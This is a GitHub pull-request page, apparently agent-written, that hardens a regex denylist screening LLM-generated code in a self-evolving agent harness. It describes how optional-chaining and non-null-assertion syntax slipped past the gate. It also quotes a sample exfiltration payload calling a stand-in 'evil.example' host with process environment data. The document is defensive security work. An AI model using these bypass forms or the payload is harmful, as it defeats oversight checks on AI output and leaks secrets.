dream(darwin-evolution): #370 close safety.ts's optional-chaining/non-null-assertion bypass (evaluated) by ruvnet · Pull Request #371 · ruvnet/metaharness · GitHub
Skip to content

dream(darwin-evolution): #370 close safety.ts's optional-chaining/non-null-assertion bypass (evaluated) - #371

Draft
ruvnet wants to merge 2 commits into
mainfrom
dream/2026-10-02-darwin-evolution
Draft

ruvnet wants to merge 2 commits into
mainfrom
dream/2026-10-02-darwin-evolution

Conversation

@ruvnet

@ruvnet ruvnet commented Oct 2, 2026

Copy link
Copy Markdown
Owner

MetaHarness Dream Cycle, 2026-10-02. Deep surface: darwin-evolution (slot 2). Full detail, candidate-selection scoring, adversarial-critique writeup, and weight-eft/learn scan findings: #370.

Hypothesis

Given a Darwin Mode variant surface file (one of ADR-071's seven approved mutation files) containing optional-chaining or non-null-assertion syntax around a blocked capability identifier (process?.env/process!.env, fetch?.(/fetch!(, eval?.(/eval!(, require?.(/require!(, generic exec?.(/exec!(, Reflect?.get(process,...)/Reflect!.get(process,...)), when BLOCKED_CONTENT_PATTERNS in packages/darwin-mode/src/safety.ts is updated to tolerate both extra tokens between the identifier and its separator, then inspectVariant() and validateGeneratedCode() should both flag the content as blocked, subject to: (a) every previously-blocked payload remains blocked byte-identically, (b) no ordinary identifier (processEnvVar, NodeJS.ProcessEnv, etc.) is newly flagged, (c) zero existing test regresses, (d) diff confined to safety.ts + its two security test files + SECURITY.md.

Candidate

packages/darwin-mode/src/safety.ts's BLOCKED_CONTENT_PATTERNS — the content-denylist shared by inspectVariant() (pre-execution directory scan) and validateGeneratedCode() (pre-write LLM-output scan), ADR-071's "load-bearing" safety boundary for Darwin Mode's bounded self-evolution. Several patterns required the capability identifier to be IMMEDIATELY followed (modulo whitespace) by ./(/[ — e.g. /\bfetch\s*\(/i, /process\s*[.[]\s*...env/i. Ordinary, non-obfuscated TypeScript syntax defeated this twice over, in two rounds (see Adversarial Critique below): optional chaining (fetch?.(, process?.env) in round 1, and the non-null assertion operator (fetch!(, process!.env) in round 2, after an independent critic caught round 1's gap and a false-positive regression it introduced. Final fix: the 5 call-form patterns (exec/eval/fetch/require/Reflect.get) gained (?:\?\.|!)? tolerance before their mandatory (; process.env/process.binding were redesigned as an alternation of whole separator forms (never independently-optional pieces) to close the bypass without introducing the false positive. 9 files changed (incl. build output mirrors), 381 insertions / 22 deletions.

Evaluation Receipt

evaluated: accepted — ACCEPT, after a round-1 REJECT. See full round-1/round-2 blow-by-blow in #370. Final state: full packages/darwin-mode suite 665→709/723 (+44 across both rounds, 0 regressions, 14 pre-existing skips unchanged), tsc --noEmit clean, zero downstream importers of safety.ts repo-wide (grep-confirmed). All 9 of the critic's exact bypass payloads (including an end-to-end fetch!(...)+process!.env exfiltration string run through a real inspectVariant() call) now blocked; all 5 of the critic's false-positive identifiers (processEnvVar, NodeJS.ProcessEnv, processEnvironment, processEnvelope, processBindingConfig) confirmed to stay clean.

Baseline Comparison

No behavioral change for any previously-blocked payload — every one of the 25+ pre-existing BLOCKED_CONTENT_PATTERNS test cases (across both rounds' regression suites) passes byte-identically before and after. Only truly new syntax forms (?./! insertions) and, as a bugfix, 5 previously-mis-flagged ordinary identifiers change behavior.

Darwin Lineage

Not run — a hardening fix to the safety GATE itself (outside the seven ADR-071 mutation surfaces Darwin's bounded evolution may tune), not a tunable Darwin variant parameter. Matches the 2026-09-27 precedent (weight-eft NaN-gate fix).

Flywheel Evidence

Not applicable — safety.ts is not a flywheel domain. Durable evidence is the non-vacuous round-1 and round-2 before/after test proofs plus the independent critic's full written verdict, committed to docs/dream-cycle/2026-10-02-gist.md and #370.

Reward Hack Check

Test diff is purely additive across both rounds (zero deletions/weakenings of existing assertions — confirmed via git diff --stat); no gold/benchmark data touched; no threshold changed; no live model spend (pure deterministic regex + unit tests); de-duplication logic ([...new Set(violations)]) untouched.

Security Review

This candidate IS the security finding: CWE-20 (Improper Input Validation) / CWE-184 (Incomplete List of Disallowed Inputs), the same CWE family as the 3 prior SECURITY.md §7a bypasses. Unlike those three, this bypass family has no structural second layer — tier2-sandbox.ts's Tier-2 agent sandbox genuinely executes a passing variant's real surface code in a live, env-scrubbed-but-network-unrestricted Node child, so a fetch?.(...)/fetch!(...) surface could make a real outbound HTTP call, a live violation of ADR-071 containment rule #3 ("no network access by default"), not just a static-scan gap. This round's own process is itself a demonstration of the repo's adversarial-critique discipline working as designed: a round-1 self-evaluated ACCEPT on a load-bearing security gate was wrong on two counts, and only the independent critic caught both before anything shipped.

Regression Analysis

Zero regression: packages/darwin-mode suite 665→709/723 (+44, 0 regressions), tsc clean, 0 other importers of safety.ts/BLOCKED_CONTENT_PATTERNS repo-wide.

ADR

None — this is a hardening fix within the existing ADR-071 mechanism (closing a gate to its own documented intent), not a new architectural decision, matching the 2026-08-25/2026-09-10/2026-09-22 precedent for the same class of fix.

Adversarial Critique

Round 1 → REJECT. An independent fresh-subagent critic, cold-read (dispatched before this session had self-recommended ACCEPT, though its result arrived after — a timing gap now corrected for future nights), reproduced the round-1 red→green proof itself (stash/pop safety.ts, confirmed all 16 new tests fail pre-fix and pass post-fix, full suite clean), then found and demonstrated two real defects: (1) the non-null assertion operator ! defeats every pattern ?. did, by the identical mechanism — proven end-to-end with a real inspectVariant() call against a crafted planner.ts containing fetch!("http://evil.example/exfil?d="+process!.env), which cleared the gate with zero findings; (2) round 1's process.env/process.binding fix made every separator character independently optional, so processEnvVar/NodeJS.ProcessEnv/3 others now false-positive as blocked content. Verdict explicitly: REJECT, not ACCEPT-WITH-CAVEATS — "given this gate is explicitly described as load-bearing, shipping it with a demonstrated live bypass is a REJECT."

Round 2 (same session). Independently re-verified every one of the critic's 9 bypass payloads (now blocked) and all 5 false-positive identifiers (now clean) before this PR was opened, using the TypeScript compiler API to confirm syntax validity assumptions rather than trusting either round's claims. new Function/import( reconfirmed immune (the former is a bare-word match unaffected by either bypass class; the latter is a genuine JS syntax error for both ?. and !).

Research Gist

docs/dream-cycle/2026-10-02-gist.md — GIST=LOCAL (no gist-creation tool in this session's toolset, matching every night since 2026-09-09).

Issue

Closes #370 (full findings, round-1/round-2 blow-by-blow, candidate-selection scoring across 5 research roles, competitor review, weight-eft/learn scan results, ledger check).

Witness

session_commit : 9ce8b8dd89045c3b9a1f809ae58f3589029db4a4
report_sha256  : 7656e79c08f25c4c3c66369f88acfbfd691524c92e2995740f371ab5231aa75e
witness        : e13a20f115c2986a7767d42bd5729e2e4b2ad99ffce35930a48f6064eab8d1a7

Merge Policy

Human review required. Do not self-merge. Do not autonomously promote Flywheel state.

🤖 Generated with Claude Code

https://claude.ai/code/session_01KGEHJhLDertizzQxMoge16


Generated by Claude Code

…-null-assertion bypass (evaluated)

BLOCKED_CONTENT_PATTERNS (safety.ts, ADR-071's load-bearing gate) required
several capability identifiers to be immediately followed by `.`/`(`/`[`.
Ordinary optional-chaining (`fetch?.(`) and, as an independent critic found
after a round-1 fix was wrongly self-ACCEPTed, the non-null-assertion
operator (`fetch!(`) both defeated this undetected. Round 2 closes both,
plus a false-positive regression the critic also caught (processEnvVar/
NodeJS.ProcessEnv incorrectly flagged by round 1).

darwin-mode suite 665->709/723 (+44, 0 regressions). Full writeup in #370
and docs/dream-cycle/2026-10-02-gist.md.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KGEHJhLDertizzQxMoge16

ruvnet commented Oct 2, 2026

Copy link
Copy Markdown
Owner Author

… keep both sides)

# Conflicts:
#	docs/dream-cycle/LEDGER.md

ruvnet commented Oct 27, 2026

Copy link
Copy Markdown
Owner Author

Backlog reviewer: this PR conflicted with main only in docs/dream-cycle/LEDGER.md. I merged main in (merge commit, no rebase/force) and resolved the ledger by keeping both sides, with no rows dropped. No code or test changes. I re-ran the affected package's tests on the merged result and they match the main baseline. create-agent-harness has 2 failures that are already on main. Human review is still required, and I have not merged or approved anything.


Generated by Claude Code

ruvnet commented Oct 27, 2026

Copy link
Copy Markdown
Owner Author

CI status update: npm-audit is red again, still not caused by this PR — different vulnerabilities than my 2026-10-02 comment, now inherited from main itself.

Since the backlog-reviewer's merge brought main's last 25 days in (thanks for that — the LEDGER.md resolution looks correct from a quick read), the npm-audit failure signature changed entirely: the 2026-10-02 set (@grpc/grpc-js, fast-uri, hono, ip-address) is gone, replaced by 2 new high-severity advisories: body-parser 2.0.0-2.3.0 (DoS via trailing bytes after a compressed body, GHSA-27r3-jxmh-p828 — fixable via non-forcing npm audit fix) and zod <4.6.6 (memory exhaustion on oversized constrained collections, GHSA-mrhx-c7xc-m3w5 — only fixable via npm audit fix --force, bumping to zod@4.6.7, a breaking-change-flagged upgrade).

Confirmed with direct evidence this is base-branch state, not this PR's or the merge's: the scheduled Security workflow run directly on main at this PR's exact current base commit (d59130b3649c2906a020b3a1aad53cfd10727897) also failed with npm-audit red, one day before this PR's own CI ran (run 40269584860, 2026-10-26). This PR's diff still only touches packages/darwin-mode/src/safety.ts, its two security test files, SECURITY.md, and their build-output mirrors — no dependency files.

Not re-running (deterministic, not a flake). Still not pushing a dependency bump into this single-conceptual-change PR — zod's fix in particular needs --force and is flagged as breaking, which is a real decision for whoever owns that upgrade, not something to fold into a darwin-mode safety-gate fix. Same recommendation as before: npm audit fix (non-forcing) clears body-parser; zod needs a deliberate, separately-reviewed --force bump.


Generated by Claude Code

ruvnet commented Oct 27, 2026

Copy link
Copy Markdown
Owner Author

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Dream Cycle 2026-10-02] darwin-evolution: 4th BLOCKED_CONTENT_PATTERNS bypass, round-1 REJECTED by critic, round-2 fixed

2 participants